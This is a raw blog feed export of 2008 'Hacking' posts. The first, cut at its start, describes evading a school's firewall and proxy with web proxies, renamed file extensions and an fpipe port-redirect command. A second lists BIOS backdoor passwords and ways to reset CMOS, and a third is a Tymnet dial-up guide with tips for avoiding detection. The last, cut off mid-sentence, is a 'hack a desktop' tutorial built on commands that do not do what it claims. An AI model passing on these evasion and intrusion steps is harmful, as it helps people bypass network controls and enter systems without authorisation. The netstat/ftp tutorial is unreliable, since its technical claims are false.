"Tools" then "Internet Options"&lt;br /&gt;"Connections" and depending on your settings uncheck the proxy. The Admin's&lt;br /&gt;have gotten a lot tighter and well now they made it so that authentication&lt;br /&gt;is needed to overcome the use of a proxy. So unless you are somehow a genius&lt;br /&gt;and can get the passwords to the proxy servers then you're stuck using that&lt;br /&gt;temp account you have and finding other solutions. In the old days to get&lt;br /&gt;past a website ban we could find a mirror or let's say for hotmail . we&lt;br /&gt;couldn't go to www.hotmail.com because that was banned but instead the&lt;br /&gt;backdoor was at www.msn.com where a user could login from there. But they&lt;br /&gt;caught on because the info always gets leaked and the whole domain of&lt;br /&gt;Hotmail gets blocked. So a solution rumbles into my head and im thinking&lt;br /&gt;PROXY! But I can't change the proxy settings to use another one. Ah, but&lt;br /&gt;there is such things as proxy chaining. So let's go over what to do. If your&lt;br /&gt;experienced user then you have probably traveled to&lt;br /&gt;http://www.anonymizer.com/ once upon a time. This is an online proxy server&lt;br /&gt;that hackers used back in the day...COUGH...COUGH. that is to say "before"&lt;br /&gt;they started charging money to use there service. Every hacker knew that it&lt;br /&gt;was a safe bet that you couldn't be tracked from this service. It's&lt;br /&gt;basically like a 3 way phone call. You connect to there server and there&lt;br /&gt;server connects to the webpage you want. Then there servers send you back&lt;br /&gt;the info you requested. Simple right!&lt;br /&gt;&lt;br /&gt;      Now there are other sites that have spawned off the great anonymizer&lt;br /&gt;that offer similar services and well you are just going to have to look&lt;br /&gt;around for those. But wait there's more to this story, you see after the&lt;br /&gt;news got around that the few and elite could get past the restrictions with&lt;br /&gt;anonymizer well, the ADMINS started to notice what was going on and banned&lt;br /&gt;that site as well. Moving on to how Google.com can also help. Google.com can&lt;br /&gt;help because it caches its pages. Try this, do a search on google.com and&lt;br /&gt;then look at the results you see below the results the section underlined&lt;br /&gt;Cached. This means google.com has already indexed that site and you can pull&lt;br /&gt;up all those banned websites that you really want to checkout with&lt;br /&gt;google.com. But this wasn't the route I wanted to take because I still&lt;br /&gt;couldn't use my email. In the end I decided to go to an old friend of mine&lt;br /&gt;made by James Marshall. It's called "CGI proxy". Best script out there. What&lt;br /&gt;CGI Proxy is, is a cgi script so that you can set up a web based proxy.&lt;br /&gt;This script is easy to setup and can be hosted on websites. It serves as a&lt;br /&gt;proxy server and thus you can use it to search the web. PLUS there's a&lt;br /&gt;version out there that supports SSL. why would that be important you ask&lt;br /&gt;well because hotmail uses SSL authentication so that you can get into your&lt;br /&gt;email. So I setup the script takes 5 minutes and im up and running and the&lt;br /&gt;school has no idea. So a basic run down is grab a copy of CGI proxy set it&lt;br /&gt;up run it and be on your way searching through a proxy just like&lt;br /&gt;anonymizer.com.&lt;br /&gt;&lt;br /&gt;      To get past the mp3 restrictions I was furious, for the longest time I&lt;br /&gt;thought the school got the best of me but I was wrong I looked into the&lt;br /&gt;matter and well. WINDOWS MEDIA PLAYER was my clue. There's a file format&lt;br /&gt;that windows makes its called WMA. This file extension wasn't blocked&lt;br /&gt;because it's less widely used. So now it was a matter of hosting "WMA" files&lt;br /&gt;that I later would converted from mp3 and uploading them to be downloaded.&lt;br /&gt;If your having similar problems there's more than 1 way to skin a cat.My&lt;br /&gt;second method was rather cleaver and sneaky. I was inspired from a site&lt;br /&gt;where I was downloading mp3s. The mp3s were named rather differently that&lt;br /&gt;before with extensions like nameofgoodsong.aab or something not the standard&lt;br /&gt;nameofgoodsong.mp3. What I did was change the extension of the files that&lt;br /&gt;would be blocked to some other extension that wasn't noticeable and wasn't&lt;br /&gt;blocked. For example upload coolapp.exe and when it's done rename it to&lt;br /&gt;coolapp.haha&lt;br /&gt;Then when you're downloading it right click on the file and save file as&lt;br /&gt;Rename it to coolapp.exe and it should save and be just like normal.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;      Now then getting a chat service to work was rather fun and&lt;br /&gt;challenging. Since I was limited to only port 80 there's no way in hell I&lt;br /&gt;could connect to Windows messenger, YAHOO, AIM or any other leading chat&lt;br /&gt;program. Because Windows Messenger aka MSN messenger connects on port 1863&lt;br /&gt;to communicate to its server.&lt;br /&gt;My working solution is to make and create a 3 way connection.&lt;br /&gt;Again it would look something like this&lt;br /&gt;&lt;br /&gt;Internal Computers (port 80)----&gt; Router (port80) ----&gt; MS Proxy (port&lt;br /&gt;80)----&gt; Firewall -(port 80) --&gt; The Internet (port 80)--&gt; (port 80) REMOTE&lt;br /&gt;SERVER( redirected to port 1863) ----&gt;WINDOWS MESSENGER SERVERS (port 1863)&lt;br /&gt;&lt;br /&gt;And back&lt;br /&gt;&lt;br /&gt;(port 1863) WINDOWS MESSENGER SERVERS--&gt; (port 1863) REMOTE SERVER&lt;br /&gt;(redirected to port 80)-- &gt; The Internet (port 80) --&gt; Firewall (port 80)--&gt;&lt;br /&gt;MS Proxy (port 80) --&gt; Router - (port 80) --&gt; Internal Computers&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;OK now then the REMOTE SERVER serves as the middle man for this to work.&lt;br /&gt;You see your about to connect to the remote server and then have the remote&lt;br /&gt;server connect to windows messenger servers for you. Then windows messenger&lt;br /&gt;sends the info back to the remote server and back to you on port 80.&lt;br /&gt;&lt;br /&gt;To do this you need 2 things 1st is Fpipe and 2nd is a second server that&lt;br /&gt;fpipe is going to run on.&lt;br /&gt;When you start fpipe you get something that looks like this from the&lt;br /&gt;dos/command prompt screen.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;C:\&gt;fpipe&lt;br /&gt;FPipe v2.1 - TCP/UDP port redirector.&lt;br /&gt;Copyright 2000 (c) by Foundstone, Inc.&lt;br /&gt;http://www.foundstone.com&lt;br /&gt;&lt;br /&gt;FPipe [-hvu?] [-lrs &lt;port&gt;] [-i IP] IP&lt;br /&gt;&lt;br /&gt; -?/-h - shows this help text&lt;br /&gt; -c    - maximum allowed simultaneous TCP connections. Default is 32&lt;br /&gt; -i    - listening interface IP address&lt;br /&gt; -l    - listening port number&lt;br /&gt; -r    - remote port number&lt;br /&gt; -s    - outbound source port number&lt;br /&gt; -u    - UDP mode&lt;br /&gt; -v    - verbose mode&lt;br /&gt;&lt;br /&gt;Example:&lt;br /&gt;fpipe -l 53 -s 53 -r 80 192.168.1.101&lt;br /&gt;&lt;br /&gt;This would set the program to listen for connections on port 53 and&lt;br /&gt;&lt;br /&gt;when a local connection is detected a further connection will be&lt;br /&gt;made to port 80 of the remote machine at 192.168.1.101 with the&lt;br /&gt;source port for that outbound connection being set to 53 also.&lt;br /&gt;Data sent to and from the connected machines will be passed through.&lt;br /&gt;.................&lt;br /&gt;&lt;br /&gt;Now then the demo they show us can be useful for the user to figure out what&lt;br /&gt;Exactly it is that we are going to do.&lt;br /&gt;&lt;br /&gt;First let's think about what we exactly are going to accomplish. You are&lt;br /&gt;going to send a request through port 80 from within your network to your&lt;br /&gt;remote server that is hosting fpipe. Then Fpipe on the remote server&lt;br /&gt;receives the incoming info from port 80 that you have just sent out and&lt;br /&gt;redirects the outgoing info to port 1863. The send info that just went out&lt;br /&gt;through fpipe leaves through port 1863 and now goes to windows messenger&lt;br /&gt;server where it communicates with login info and then sends the info back to&lt;br /&gt;our remote server through the port of 1863 where our remote server transfers&lt;br /&gt;that info back out through port 80 to us.&lt;br /&gt;&lt;br /&gt;The command line for fpipe to run on the remote server would look like this.&lt;br /&gt;&lt;br /&gt;fpipe -l 80 -s 1863 -r 1863 messenger.hotmail.com&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Simple Steps to Remember&lt;br /&gt;&lt;br /&gt;1. Download Fpipe from http://www.foundstone.com&lt;br /&gt;2. Set up your windows messenger client to connect to a proxy&lt;br /&gt;3. Change the proxy info to http proxy the server would be your remote&lt;br /&gt;server you have fpipe running on. And the port for the proxy is of course 80&lt;br /&gt;4. Start Fpipe with the command of  "fpipe -l 80 -s 1863 -r 1863&lt;br /&gt;messenger.hotmail.com"&lt;br /&gt;5. now with fpipe running you can now connect and run windows messenger&lt;br /&gt;&lt;br /&gt;For those that want to do this with other chat programs Im 1 step ahead of&lt;br /&gt;you&lt;br /&gt;&lt;br /&gt;AOL SERVER- login.oscar.aol.com port 5190&lt;br /&gt;ICQ SERVER - login.icq.com port 5190&lt;br /&gt;WINDOWS MESSENGER SERVER - messenger.hotmail.com port 1863&lt;br /&gt;YAHOO SERVER - cs.yahoo.com port 5050&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9075231620953005452-2416543711795746169?l=chibogacrew.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chibogacrew.blogspot.com/feeds/2416543711795746169/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://chibogacrew.blogspot.com/2008/12/network-firewall-security.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/2416543711795746169'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/2416543711795746169'/><link rel='alternate' type='text/html' href='http://chibogacrew.blogspot.com/2008/12/network-firewall-security.html' title='Network Firewall Security'/><author><name>arie yanie</name><uri>http://www.blogger.com/profile/07630688728764444344</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://2.bp.blogspot.com/-wR0RpbOVqU8/TbuIQ84ZrrI/AAAAAAAAAXY/V5OPJ1hee08/s220/b301.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9075231620953005452.post-8332726884870633910</id><published>2008-12-10T23:26:00.000+07:00</published><updated>2008-12-10T23:27:23.522+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacking'/><title type='text'>Hacking CMOS/BIOS</title><content type='html'>Your CMOS holds a lot of important information so before you go messing&lt;br /&gt;around with the battery WRITE DOWN YOUR SETTINGS, I can't stress that&lt;br /&gt;enough. When you pull the battery it will set your cmos back to factory&lt;br /&gt;defaults, so you'll need to know how to put everything back.&lt;br /&gt;&lt;br /&gt;There are a few different ways to reset the cmos, here's a few:&lt;br /&gt;&lt;br /&gt;1. there are many default common passwords,&lt;br /&gt;such as:&lt;div class="fullpost"&gt;&lt;br /&gt;At boot-up note the BIOS provider (Award, AMI, Phoenix, IBM, etc.)&lt;br /&gt;&lt;br /&gt;For Award BIOS' try these backdoor passwords:&lt;br /&gt;&lt;br /&gt;AWARD_SW&lt;br /&gt;j262&lt;br /&gt;HLT&lt;br /&gt;SER&lt;br /&gt;SKY_FOX&lt;br /&gt;BIOSTAR&lt;br /&gt;ALFAROME&lt;br /&gt;Lkwpeter&lt;br /&gt;j256&lt;br /&gt;AWARD?SW&lt;br /&gt;LKWPETER&lt;br /&gt;syxz&lt;br /&gt;ALLy&lt;br /&gt;589589&lt;br /&gt;589721&lt;br /&gt;awkward&lt;br /&gt;CONCAT&lt;br /&gt;d8on&lt;br /&gt;CONDO&lt;br /&gt;j64&lt;br /&gt;szyx&lt;br /&gt;&lt;br /&gt;For AMI BIOS' try these backdoor passwords:&lt;br /&gt;&lt;br /&gt;AMI&lt;br /&gt;BIOS&lt;br /&gt;PASSWORD&lt;br /&gt;HEWITT RAND&lt;br /&gt;AMI?SW&lt;br /&gt;AMI_SW&lt;br /&gt;LKWPETER&lt;br /&gt;A.M.I.&lt;br /&gt;CONDO&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;For PHOENIX BIOS' try this backdoor password:&lt;br /&gt;&lt;br /&gt;phoenix&lt;br /&gt;&lt;br /&gt;there are too many to count here's a list&lt;br /&gt;http://www.phenoelit.de/dpl/dpl.html&lt;br /&gt;(search for PC BIOS)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;2. On some older PC's pressing the insert key upon startup will clear&lt;br /&gt;the CMOS, make sure you hold it down till it's done booting.&lt;br /&gt;&lt;br /&gt;3. Another way which we pretty much already covered, was to pull the&lt;br /&gt;metallic nickel looking battery that supplies power to the CMOS.&lt;br /&gt;&lt;br /&gt;4. Some times there is a small three pin jumper used to reset the bios,&lt;br /&gt;just move the black little pin cover to the opposite two pins.&lt;br /&gt;(Make sure to read the motherboards manual before this)&lt;br /&gt;&lt;br /&gt;5. If the battery is soldered in you can take a soldering iron to it but&lt;br /&gt;I don't recommend it unless you are a professional.&lt;br /&gt;&lt;br /&gt;6. there are a few programs out on the net which are made to crack&lt;br /&gt;certain types of bios passwords, I have one for award BIOS's here's a&lt;br /&gt;couple:&lt;br /&gt;&lt;br /&gt;http://www.11a.nu/ibios.htm&lt;br /&gt;&lt;br /&gt;http://natan.zejn.si/rempass.html&lt;br /&gt;&lt;br /&gt;Good reading:&lt;br /&gt;http://www.astalavista.com/library/...ios_hacking.txt&lt;br /&gt;&lt;http://www.astalavista.com/library/basics/guides/bios_hacking.txt&gt;&lt;br /&gt;&lt;br /&gt;http://www.virtualplastic.net/html/misc_bios.html&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Tools:&lt;br /&gt;http://www.red-demon.com/pwrecovery.html&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9075231620953005452-8332726884870633910?l=chibogacrew.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chibogacrew.blogspot.com/feeds/8332726884870633910/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://chibogacrew.blogspot.com/2008/12/hacking-cmosbios.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/8332726884870633910'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/8332726884870633910'/><link rel='alternate' type='text/html' href='http://chibogacrew.blogspot.com/2008/12/hacking-cmosbios.html' title='Hacking CMOS/BIOS'/><author><name>arie yanie</name><uri>http://www.blogger.com/profile/07630688728764444344</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://2.bp.blogspot.com/-wR0RpbOVqU8/TbuIQ84ZrrI/AAAAAAAAAXY/V5OPJ1hee08/s220/b301.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9075231620953005452.post-4928724607364890875</id><published>2008-12-10T23:24:00.000+07:00</published><updated>2008-12-10T23:25:48.265+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacking'/><title type='text'>Hacking TYMNET</title><content type='html'>TYMNET IS A GATEWAY SYSTEM, LIKE TELENET.  AND CAN BE USED TO ACCESS SYSTEMS&lt;br /&gt;THAT MIGHT NOT OTHERWISE HAVE LOCAL NUMBERS.  THIS IS JUST A BASIC FILE,&lt;br /&gt;INTENDED FOR SOMEONE WHO HAS NEVER USED TYMNET BEFORE, OR TO HELP SOMEONE WHO&lt;br /&gt;IS LEARNING TO USE TYMNET.&lt;br /&gt;&lt;div class="fullpost"&gt;&lt;br /&gt;CONNECTING:&lt;br /&gt; -------------&lt;br /&gt;&lt;br /&gt;  MOST TYMNET SYSTEMS USE THE FOLLOWING SETTINGS:&lt;br /&gt; &lt;br /&gt; --- FULL DUPLEX&lt;br /&gt; --- NO PARITY (OFF OR SPACE PARITY)&lt;br /&gt; --- 1 STOP BIT&lt;br /&gt; --- MOST ARE 300/1200 BAUD&lt;br /&gt;&lt;br /&gt; ALSO, MOST USE CONTROL-S TO PAUSE LISTING AND CONTROL-Q TO RESUME LISTING.&lt;br /&gt;CONTROL-X STOPS LISTING.&lt;br /&gt;  TO ENSURE THAT YOU ARE ALLOWED TO USE CONTROL KEYS, ENTER CONTROL-R BEFORE&lt;br /&gt;TELLING TYMNET WHO YOU WISH TO LOG ONTO.&lt;br /&gt;&lt;br /&gt; FOR THOSE OF YOU WHOSE TERM ARE CAPABLE OF SENDING AN ESCAPE, AN ESCAPE WILL&lt;br /&gt;GET YOU BACK TO THE [...LOG IN] AREA IF YOU EVER FIND YOURSELF STUCK IN A&lt;br /&gt;POSITION WHERE YOU ARE ABOUT TO BE DISCONNECTED.&lt;br /&gt;&lt;br /&gt;  WHEN YOU FIRST CONNECT WITH TYMNET;&lt;br /&gt;&lt;br /&gt; [PLEASE TYPE YOUR TERMINAL IDENTIFIER]&lt;br /&gt;&lt;br /&gt; WILL PRINT ACROSS YOUR SCREEN.  SOMETIMES THIS WILL BE NOTHING BUT A BUNCH OF&lt;br /&gt;GARBAGE, WHICH COULD MEAN THAT YOU CONNECTED AT THE WRONG BAUD, OR THAT YOUR&lt;br /&gt;SYSTEM WILL NEED AN ID LETTER OTHER THAN 'A' OR 'E'.  BUT, FOR MOST PURPOSES,&lt;br /&gt;'A' WILL BE THE LETTER THAT YOU WILL ENTER, BUT 'E' IS ALSO A COMMON ID.&lt;br /&gt;HOWEVER, B,C,D,F,G,I,AND P ARE ALSO VALID ID'S.&lt;br /&gt;&lt;br /&gt;   (COMMIES, APPLES, TI'S &amp; TRS'S USE 'A' OR 'E')&lt;br /&gt;&lt;br /&gt; THEN A LOCATION NUMBER, WILL BE SHOWN.&lt;br /&gt;&lt;br /&gt;      [-4004-075-]&lt;br /&gt;&lt;br /&gt; AFTER THAT, TYMNET WILL ASK YOU TO;&lt;br /&gt;&lt;br /&gt;  [PLEASE LOG IN.]&lt;br /&gt;&lt;br /&gt; YOU WILL ENTER THE SERVICE NAME OR INITIALS AND BE SENT TO THAT SERVICE.&lt;br /&gt;&lt;br /&gt;(EXAMPLE:)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; [PLEASE TYPE YOUR TERMINAL IDENTIFIER] A&lt;br /&gt; [-4004-075-]&lt;br /&gt;&lt;br /&gt; [PLEASE LOG IN.] IBM&lt;br /&gt;&lt;br /&gt;------&lt;br /&gt;&lt;br /&gt; IN THE EXAMPLE, TYMNET SENT EVERYTHING IN [] BRACKETS, AND YOU ENTERED&lt;br /&gt;EVERYTHING IN LOWER CASE.&lt;br /&gt;&lt;br /&gt;  FOLLOWING THAT PROCEDURE WOULD SEND YOU TO IBM.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  SYSTEMS ON TYMNET:&lt;br /&gt; --------------------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   TRY USING NAMES, OR SIMPLE 3-5 CHARACTER CODES.  REMEMBER, NEW USERS ARE&lt;br /&gt;SUPPOSED TO BE ABLE TO USE TYMNET SECONDS AFTER UNPACKING THEIR COMPUTERS,&lt;br /&gt;SO THINK SIMPLE.&lt;br /&gt;&lt;br /&gt;   ALSO, TRY GETTING A BUNCH OF SYSTEM NAMES THAT WORK ON TELENET, UNINET,&lt;br /&gt;OR DATAPAC AND TRY THEM ON TYMNET.  TRY ENTERING THE NAME, INITIALS OR&lt;br /&gt;INITIALS &amp; NUMBERS.&lt;br /&gt;&lt;br /&gt; --- EXAMPLES:&lt;br /&gt;&lt;br /&gt;DOW1;; &amp; DOW2;;  = DOW JONES, WHEN TYMNET ASKS FOR SERVICE, ENTER 'DJNS'.&lt;br /&gt;STANDARD&lt;br /&gt;                   10 CHARACTER PASSWORD.&lt;br /&gt;&lt;br /&gt;CIS01 &amp; CIS02 &amp; CPS  = COMPUSERVE, STANDARD FORMAT.&lt;br /&gt;&lt;br /&gt;LEXIS &amp; NEXIS = LEXIS &amp; NEXIS, WHEN IT ASKS FOR TERMINAL ID, ENTER '.LEXIS' OR&lt;br /&gt;                '.TELV950'&lt;br /&gt;&lt;br /&gt;NEWS1 = NEWSNET&lt;br /&gt;&lt;br /&gt;ONTYME = ONTYME (MCDONALD DOUGLAS INTERNATIONAL DATA LIBRARY)&lt;br /&gt;&lt;br /&gt;IBM = (WHAT ELSE?) I.B.M&lt;br /&gt;&lt;br /&gt;ART = HONEYWELL'S 'SYSTEM M'.&lt;br /&gt;&lt;br /&gt;DIR. = DIRECTORYNET.&lt;br /&gt;&lt;br /&gt;TEL = ??? (CONTACT ME IF YOU FIND OUT)&lt;br /&gt;&lt;br /&gt;INDEX = MTECH/COMMERCIAL SERVICES DIVISION.&lt;br /&gt;&lt;br /&gt;VAX1 = UCC UCEL ON-LINE&lt;br /&gt;&lt;br /&gt;OPER = NET940/111&lt;br /&gt;&lt;br /&gt;PLINK = PEOPLE/LINK  6 CHAR ID.  9 CHAR PASSWORD.&lt;br /&gt;&lt;br /&gt;-----&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  TYMNET GATEWAY NUMBERS:&lt;br /&gt; -------------------------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;WASHINGTON (206): 825-7720, 754-3900, 375-3367, 285-0109, 747-4105, 272-1503&lt;br /&gt;                  693-0371, 453-1591, 825-7781&lt;br /&gt;&lt;br /&gt;ALABAMA (205)   : 236-2655, 942-4141, 882-3003, 343-8414, 265-4570, 345-1420&lt;br /&gt;&lt;br /&gt;ALASKA HAS 'ALASKANET' A SIMILAR SYSTEM.&lt;br /&gt;ARIZONA (602)   : 254-5811, 790-0764&lt;br /&gt;&lt;br /&gt;CALIFORNIA (818): 308-1800, 789-9002, 841-7890&lt;br /&gt;           (714): 371-2291, 594-4567, 966-0313, 370-1200, 498-9504,&lt;br /&gt;           (415): 778-3420, 952-4757, 682-3851, 490-7366, 430-2900, 836-8700&lt;br /&gt;&lt;br /&gt;COLORADO (303)  : 590-1003, 830-9210, 356-0425, 543-3313&lt;br /&gt;&lt;br /&gt;CONNETICUT (203): 242-7140, 773-0082, 226-5250&lt;br /&gt;&lt;br /&gt;FLORIDA (305)   : 395-7330, 463-0887, 466-0661&lt;br /&gt;&lt;br /&gt;GEORGIA (404)   : 546-0167, 446-0270, 722-7967, 327-0369, 424-0025, 291-1000&lt;br /&gt;&lt;br /&gt;HAWAII (808)    : 528-4450&lt;br /&gt;&lt;br /&gt;IDAHO (208)     : 343-0404, 523-2964, 233-2501&lt;br /&gt;&lt;br /&gt;KENTUCKY (502)  : 782-0436, 499-7110&lt;br /&gt;&lt;br /&gt;LOUISIANA (318) : 443-9544, 237-9500, 436-1633, 322-4109, 688-5840&lt;br /&gt;&lt;br /&gt;MICHIGAN (313)  : 662-8282, 963-3388, 963-8880, 963-2353, 732-7303, 459-8900&lt;br /&gt;                  985-6005, 569-8350&lt;br /&gt;         (517)  : 787-9461, 484-6602, 631-4721&lt;br /&gt;&lt;br /&gt;MONTANA (406)   : 252-4880, 586-7638, 494-6615, 727-0100, 728-2415&lt;br /&gt;&lt;br /&gt;NEBRASKA (402)  : 475-8659, 397-0414&lt;br /&gt;&lt;br /&gt;NEVADA (702)    : 293-0300, 885-8411&lt;br /&gt;&lt;br /&gt;OKLAHOMA (405)  : 223-1552, 233-7903, 355-0745, 947-6387, 582-4433&lt;br /&gt;&lt;br /&gt;OREGON (503)    : 485-0027, 773-1257, 226-0627, 399-1453&lt;br /&gt;&lt;br /&gt;TEXAS (713)     : 427-5856, 556-6700&lt;br /&gt;&lt;br /&gt;VERMONT (802)   : 658-2123, 223-3519&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; THOSE AREN'T ALL THE TYMNET NUMBERS, BUT YOU SHOULD BE ABLE TO FIND ONE&lt;br /&gt;TO CALL.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  CAUTION:&lt;br /&gt; ----------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  TYMNET SEEMS TO BE BECOMING AWARE OF HACKERS, AND CALLING THE SAME PLACE TOO&lt;br /&gt;MANY TIMES IN A ROW COULD HAVE COMPLICATED RESULTS. ESPECIALLY IF YOU ONLY&lt;br /&gt;GO TO 1 OR 2 DIFFERENT SYSTEMS.&lt;br /&gt; TRY ALL THE ID'S UNTILL YOU FIND SEVERAL THAT WORK WITH YOUR SYSTEM, THEN&lt;br /&gt;NOT ONLY CAN YOU GO TO SEVERAL DIFFERENT PLACES SO AS NOT TO ATTRACT ATTENTION&lt;br /&gt;TO YOURSELF, BUT YOU CAN ENTER A DIFFERENT ID LETTER ALSO.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9075231620953005452-4928724607364890875?l=chibogacrew.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chibogacrew.blogspot.com/feeds/4928724607364890875/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://chibogacrew.blogspot.com/2008/12/hacking-tymnet.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/4928724607364890875'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/4928724607364890875'/><link rel='alternate' type='text/html' href='http://chibogacrew.blogspot.com/2008/12/hacking-tymnet.html' title='Hacking TYMNET'/><author><name>arie yanie</name><uri>http://www.blogger.com/profile/07630688728764444344</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://2.bp.blogspot.com/-wR0RpbOVqU8/TbuIQ84ZrrI/AAAAAAAAAXY/V5OPJ1hee08/s220/b301.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9075231620953005452.post-7457156471385675496</id><published>2008-12-10T23:19:00.000+07:00</published><updated>2008-12-10T23:23:24.288+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacking'/><title type='text'>Hacking a Desktop using netstat and ftp</title><content type='html'>&lt;span style="font-weight:bold;"&gt;Hacking a Desktop using netstat and ftp&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;I've noticed while on this site that although there are plenty of tutorials on netstat, there's nothing on how to hack a system using it. This is one way which I rather like, as it is especially useful on systems using stuff like Kazaa which leave ports open on your system. This won't work on more secure systems, as they won't generally have foreign ports open. Oh and by the way, this is my first article so feel free to post below any and all problems with it!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Finding an open port&lt;br /&gt;&lt;br /&gt;First we need to know the target's IP. There are lots of ways of doing this, which I'm not going to go into here. After all, I usually do this on ppl who I know and who give me their IPs (I'm a white hat hacker not some pathetic little script kiddie cracker). Once you know their' IP, open a DOS prompt. In Windows XP that's&lt;br /&gt;&lt;br /&gt;start-&gt;programs-&gt;accesories-&gt;command prompt&lt;br /&gt;&lt;br /&gt;Now type the following into the command prompt:&lt;br /&gt;&lt;br /&gt;netstat [target's IP] -a and press &lt;enter&gt; &lt;div class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;What this does is look at all open ports on the target system. This means that you'll be shown a list of all the open ports. We aren't interested in the local ports, so look straight at the second column and for a port number that looks promising. If the target has a trojan on their system, a port number of 49000-63000 roughly should be about right. If not, look for Kazaa or WinMX or whatever's open port.&lt;br /&gt;&lt;br /&gt;Now open another command prompt and type:&lt;br /&gt;&lt;br /&gt;ftp &lt;enter&gt;&lt;br /&gt;open [target's IP] [Port number]&lt;br /&gt;&lt;br /&gt;You've now got a connection to their machine! From here you can browse around and modify their file system using DOS. These commands are especially useful when doing this:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;CD REMOTE-DIRECTORY Change Directory on a remote system. Type this and the directory you want to change to. you probably need to understand how the Windows filesystem is organised for this to work.&lt;br /&gt;&lt;br /&gt;DIR Display directory. Shows all the files and folders in this directory.&lt;br /&gt;&lt;br /&gt;PWD Prints the name of the current remote directory.&lt;br /&gt;&lt;br /&gt;CD .. Go up one level in directory.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;-----------------------------------------------------------&lt;br /&gt;thx to Bloodvessel for the follwing commands:&lt;br /&gt;&lt;br /&gt;Transferring files&lt;br /&gt;&lt;br /&gt;get test Copies file "test" from remote to local host (from current remote directory to current local directory).&lt;br /&gt;mget test.* data.dbf Copies files beginning with "test" and the file named data.dbf from remote to local host.&lt;br /&gt;put test Copies file "test" from local to remote host. You musth have write access to the remove host for this to work.&lt;br /&gt;mput test.* data.dbf Copies files beginning with "test" and the file named data.dbf from local to remote host.&lt;br /&gt;quit Closes connection and terminates FTP session&lt;br /&gt;If a file name contains spaces (e.g. on your Windows system) you should type the file name in quotation marks " ", but it is strongly recommended to rename such files before FTPing them.&lt;br /&gt;&lt;br /&gt;Other Commands&lt;br /&gt;&lt;br /&gt;get test "| more" - displays file "test"&lt;br /&gt;To make sure you want a document, you can display it with the more command and see the file screen by screen (using the space bar) BEFORE you get a file. To exit out of more , type q.&lt;br /&gt;&lt;br /&gt;prompt Turns off prompting for individual files when using the mget or mput commands.&lt;br /&gt;&lt;br /&gt;If you have mistyped your username or password, use the user command to re-login.&lt;br /&gt;&lt;br /&gt;For a list of all FTP commands type ? at the ftp&gt; prompt.&lt;br /&gt;For a brief explanation of a command, type help, leave a space,and type the command itself.&lt;br /&gt;&lt;br /&gt;-----------------------------------------------------------&lt;br /&gt;&lt;br /&gt;Why does this work?&lt;br /&gt;&lt;br /&gt;When we use the netstat command on a machine, it searches for open ports. This means that if, for instance, the target machine is connected to Kazaa, there will be a port opened with Kazaa. There are different kinds of ports, the most common being TCP and UDP. Most things on a computer have their own port; for instance, a printer and a scanner have their own port, though these are generally unhackable as they are in local ports, not foreign ones.&lt;br /&gt;&lt;br /&gt;So, supposing the target does have an open port, it is possible to connect to them using ftp, or File Transfer Protocol. This is what is used when downloading off people, and is another reason why file sharing desktops (running Kazaa,WinMX etc) are so easy to hack when using this method; they already have a port or more open, downloading, which means that the their firewalls must be pretty much non-existant.&lt;br /&gt;&lt;br /&gt;By typing the ftp command, we make our system an ftp server. This operates the same way basically as a web server. Once we are an ftp server, we 